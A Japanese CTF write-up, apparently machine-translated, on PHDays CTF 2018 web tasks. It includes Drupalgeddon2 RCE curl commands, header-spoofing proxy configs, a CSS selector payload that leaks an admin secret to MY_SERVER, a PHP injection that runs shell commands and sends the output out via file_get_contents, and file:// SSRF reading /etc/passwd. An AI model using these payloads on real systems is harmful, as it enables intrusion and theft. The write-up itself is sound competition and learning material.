PHDays CTF2018。レイアウトライター

こんにちは、Habr。 レイアウトデザイナーとして、今年私はPHDaysからCTFに参加することにしました。

タスクのリストを確認した後、Engeeksタスクで運を試してみることにしました。 今後は、このタスクでフラグを取得できなかったと言います。 しかし、他の人が決めました。 したがって、私は一番下に得ることができるものに署名します。 発見に消えないでください。



Engeeks



172.104.246.110



名前は、nginx Webサーバーを明確に暗示しています。 サイトのメイン(および唯一の)ページを調べたところ、フィードバックフォームが機能しないことがわかりました。 送信されたメッセージを処理するために指定されたURLは、404のステータスで応答します。







送信スクリプトのソースを確認すると、コメントアウトされた別のURL `/ admino4ka / contact_dev.php`が表示されます。 このパスに沿って、情報を開示せずに、ステータス404のページが与えられます。 しかし、コンテスト開始の数日後、このリンクをクリックすると、署名に実際のIPアドレスとサーバーバックエンドポートが表示されました。 例は、インターネットから写真を撮りました。





オリジナルでは、IPアドレスは139.162.190.95およびポート63425でした。



ページ139.162.190.95:63425は 172.104.246.110/admino4kaと同一に見え 、このIPバックエンドサーバーの開示を確認します。 内容を調べた後、.localゾーンの3つのドメインへのリンクが表示されます。







Hostヘッダーを変更して、それらの1つに連絡しようとします。 そして...何もない。





ページは403ステータスで応答します。



最初の考えは、ローカルIPアドレスからのアクセスのチェックがあるということです。 値が127.0.0.1のX-Forwarded-Forヘッダーを追加します。 ビンゴ! Drupalのブログページを参照してください。







寄せ集めでブログにアクセスするには、スクリプトは同じです。 しかし、WordPressサイトは、それを開こうとすると、自分自身をリダイレクトしました(http://wp.local:63425)。 いくつかの実験の後、要求メソッドをGETからPOSTに変更すると、この障壁を克服できることがわかりました。



便宜上、アドレスwp.​​localdrupal.localおよびjoomla.localを127.0.0.1にラップし、次の構成でローカルnginxサーバーを起動しました。



events { } http { server { server_name wp.local; location / { proxy_method POST; proxy_set_header Host wp.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } } server { server_name drupal.local; location / { proxy_set_header Host drupal.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } } server { server_name joomla.local; location / { proxy_set_header Host joomla.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } } }
      
      





これにより、直接リンクをクリックして、これらのサイトのコンテンツを冷静に調査することができました。 残りのAPI WordPressへのアクセスについてのみ、 proxy_method POST;



を変更する必要がありproxy_method POST;



proxy_method GET;







残念ながら、サイトの調査は何にもつながりませんでした。 CMSバージョンはかなり最近のものでした。 必死になっても、彼はCMS管理者にパスワードを渡すことに失敗しました。 Drupalgedon2エクスプロイトは、Drupalサイトでも機能しませんでした。



 curl -s -X 'POST' --data 'mail[%23post_render][]=exec&mail[%23children]=uname -a&form_id=user_register_form' -H 'Host: drupal.local' -H 'X-Forwarded-For: 127.0.0.1' 'http://139.162.190.95:63425/user/register?element_parents=account/mail/%23value&ajax_form=1'
      
      





すべてが失敗したように思えたとき、「eNgeeksのヒント:Drupalgeddon2はまだ生きている」というプロンプトが電報チャネルに表示されました。 再びDrupalgeddon2に向かって掘るインセンティブを与えたもの。 無駄ではありません。



  curl -k 'http://139.162.190.95:63425/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \ -H 'Host: drupal.local' \ -H 'X-Forwarded-For: 127.0.0.1' \ --data "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=sleep+5"
      
      





このコマンドの実行により、ブラインドRCEがあることが示されました。 sleepコマンドはサーバーで機能しました。 しかし、喜びは短命であり、より実質的なコマンドを作成しようとすると、サーバーでWAFが起動され、実行できなくなりました。 長い苦痛の後、彼は旗を受け取らずにこの仕事を辞めました。



更新:卑劣の法則。 作業中のRCEは、この記事を書いた直後に最後までねじれを解くことができました。



ボード



172.104.246.110:9091



サイトのソースコードを調べて、私はとても幸せでした。 彼がいる! ここで彼はレイアウトデザイナーの同じタスクです! 情報筋によると、私の目の前はSPAアプリケーションです。 さらに、私が決定を始めたその瞬間に、電報チャネルにこのタスクのヒントがすでにありました。



ボードのHint2:わかりました...最初は、APIソースを取得する必要があります。 あなたのハックなものは何も動作しませんか? たぶんあなたに完全なファイルパスを返す例外がありますか? punycodeの依存関係に気づきましたか?


さて、punycodeの依存関係? 本当に。 バンドルのソースコードでは、package.jsonもビルドにヒットしていることがわかります。 また、punycodeモジュールバージョン2.1.0(現時点では最新)への依存性が見えています。







githubでこのモジュールを見つけると、新たに未解決の問題があります:







次に、サーバーに送信された値のどれがpunycodeに依存するかを探します。 彼を見つけるのはそれほど難しくありません。 これは、チャット画面の[タイトル]フィールドです。







サーバーエラー。パスが開示されます。 172.104.246.110:9091 / 05da126b0edfb13d3b9377797b5f25d6 / methods.jsに移動すると、methodsモジュールのソースコードを確認できます。 172.104.246.110:9091 / 05da126b0edfb13d3b9377797b5f25d6 / index.jsがサーバーAPIのソースを示していると仮定するのは論理的です。



ここでは、多くの興味深いものを見つけることができます。 たとえば、フラグは管理者の秘密フィールドに書き込まれます。



 async function createUser({ id, style } = {}) { id = (0, _utils.sanitizeId)(id) || (0, _v.default)(); let created = new Date().getTime(), session = (0, _md.default)(`${id}|${created}|${(0, _v.default)()}`), user = { id, created, session, secret: id === _bot.adminId ? process.env.FLAG : 'nah... you don\'t need a secret...', style: (0, _utils.sanitize)(style) }; await _utils.db.Users.insertOne(user); return user; }
      
      





または、 __NEW_FEATURE__ = true



__NEW_FEATURE__ = true



し、cssをスタイルフィールドに渡すことで、管理者と同じ美しいボードの背景を作成できます。



  app.post('/api/id', async (req, res) => { let _ref2 = await (0, _methods.createUser)({ style: req.body.__NEW_FEATURE__ && req.body.style }), id = _ref2.id, session = _ref2.session, secret = _ref2.secret; if (!id) return res.status(400).end(); res.cookie('session', session, { maxAge: 3600000, httpOnly: true }); res.status(200).json({ id, secret }); });
      
      





また、この課題におけるXSSについての推測を確認します。



 async function visitPage(url) { let browser = await _puppeteer.default.launch(chromeSettings), page = await browser.newPage(); await page.setCookie({ name: 'session', value: adminSession, url, path: '/', expires: Math.floor(new Date().getTime() / 1000) + 5, httpOnly: true }); await page.goto(url, { 'waitUntil': 'domcontentloaded' }); await new Promise(r => setTimeout(r, visitingTimeout)); await browser.close(); }
      
      





ペイロードを詰め込み、管理ボードにメッセージを書き込み、セッションを終了して秘密の価値を覗き見るだけのスタイルです。 しかし、それほど単純ではありません。 ご覧のとおり、スタイルは保存する前に処理されます。 これは、スタイルタグを超えてスクリプトを実行する可能性を排除します。



 function sanitize(str) { str = (str || '').replace(/[<>'\\*\n\s]/g, ''); return forbiddenWordsRE.test(str) ? null : str; }
      
      





ボードページの生成されたDOMを調べると、シークレットが何らかの理由でidシークレットを持つ要素のコンテンツ属性に追加されていることがわかります。







この瞬間を発見した後、パズルのすべてのピースが所定の位置に落ちました。 スクリプトは必要ありません。CSSを介してフラグを取得します。



 #secret[content^=A]{background-image:url(http://MY_SERVER/url/A)} #secret[content^=a]{background-image:url(http://MY_SERVER/url/a)} #secret[content^=B]{background-image:url(http://MY_SERVER/url/B)} #secret[content^=b]{background-image:url(http://MY_SERVER/url/b)} #secret[content^=C]{background-image:url(http://MY_SERVER/url/C)} #secret[content^=c]{background-image:url(http://MY_SERVER/url/c)} ...
      
      





各シークレットシンボルを受信し、管理者にボードへの移動を強制するための同様のペイロードをコンパイルすると、Webサーバーのログで、対応するシンボルパスへのアクセスを確認できます。 フラグの意味を象徴的に引き出します。



即興的な手段でタスクを解決したため、サーバーではなくwebhook.siteサービスを使用しました。



ムノゴロック



172.104.137.194



このタスクは驚くほど迅速に決定されました。 リンクを開くと、ページのソースコードにヒントがすぐに表示されます。







私たちは、 comand



フィールドがcomand



inform()



等しいPOST要求を送信することを示唆しています。 送信すると、「du u now de wei?」という行が返信されます。



コマンドとして何か他のものを送信しようとします。 テストとしましょう。 サービスはエラーを返し、赤ずきんちゃんについてのクールなムービーを返します。







ここから、PHPで記述されたブラックボックスがあることがわかります。



フォーム[inform(), inform()]



inform(inform())



、および'inform'()



は、サーバーでinform



関数を実行することで機能することが実験的にわかりました。 PHP関数を引用符でラップして実行しようとしています。



 'sleep'(5)
      
      





応答時間は、機能が完了したことを示しています。 そして、間違いを示しました。 system



を介してコマンドを実行する代わりに、コマンドの出力をソースコードに即座に提供する代わりに、 shell_exec



関数をshell_exec



うとしshell_exec



。 そして、ブラインドRCEのみを提供しました。 サーバー上のcurlもwgetも、コマンドの結果を送信するために機能しませんでした。 php関数file_get_contents



保存しました。



最終的なエクスプロイトは次のようになりました。



 'file_get_contents'('http://MY_SERVER/url/'.'base64_encode'('shell_exec'('cat index.php')))
      
      





Webhook.siteは再びサードパーティのサーバーとして機能しました。 スクリプトのソースコードを受け取ったので、中にフラグが見つからずに少し混乱しました。 しかし、フォルダを少し調べると、ルート内のファイルの1つでフラグがすぐに検出されました。



クリプトアポカリプス



92.53.66.223



おそらくすべての中で最もトローリングタスク。 著者は多くのホニポットを配置しました。 フィールドに異なるアドレスを挿入することで、これがサービスアノニマイザーであると確信しました。 引用符の処理、アドレスhttpのチェック:// '開発者のジョークの1つが表示されます:



 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND sign=true AND url 'http://'' at line 1
      
      





それはほとんど非常に説得力があります。 urlという単語の後にスペースがない場合、存在しないSQLインジェクションの検索にどれだけの時間を費やしたかはわかりません。



ポート3306でmysqlサービスに接続しようとすると、次のメッセージが表示されます。



 Host MY_IP is not allowed to connect to this MySQL server
      
      





アドレス127.0.0.1を置き換えることで、サービスがローカルアドレスを開くことができるようになりました。 しかし、アノニマイザーを介してアドレス127.0.0.1:3306にアクセスすると、少なくともアクセスは受信されましたが、 Got packets out of order



Got packets out of order



ていることがわかりGot packets out of order



。 これは、mysqlサーバーがクエリのフィールドを処理しようとしたことを意味します。



すべてが好きです。 行き止まり。 ヒントについては、電報チャネルにアクセスして、以下を参照してください。



CryptoApocalypseのヒント:dump.tar.gzを確認してください


92.53.66.223/dump.tar.gz とても面白い。 他に何?



CryptoApocalypseのヒント:ssrfは不要です。ソースファイルを読んでください!


CryptoApocalypseのヒント:OK、OK! curlで「ファイル」を使用してソースコードを取得する必要があります。
それで、しかしこれはすでに便利です。 しかし、ファイルを開く試み:/// etc / passwdリンクは、タスク作成者の別のトローリングを開きます。 CTFが終了する数時間前に残ります。 パニックで、私はすでにリンクを書くためのさまざまなオプションを試しています。 突然! ファイル: '/// etc / passwd







これが著者からの単なるトローリングではない場合、私は少し驚いています。 しかし、違います。 ファイル: '/// etc / hostsリンクも機能します。 いいね フラグを見つけるために残っています。 ファイル/var/www/html/index.phpをすぐに確認しましたが、間違いではありませんでした。 旗は中にありました。



PS:後でわかったように、 file:'///var/www/html/index.php



の引用符の代わりにfile:'///var/www/html/index.php



任意の文字を入れることができます。



All Articles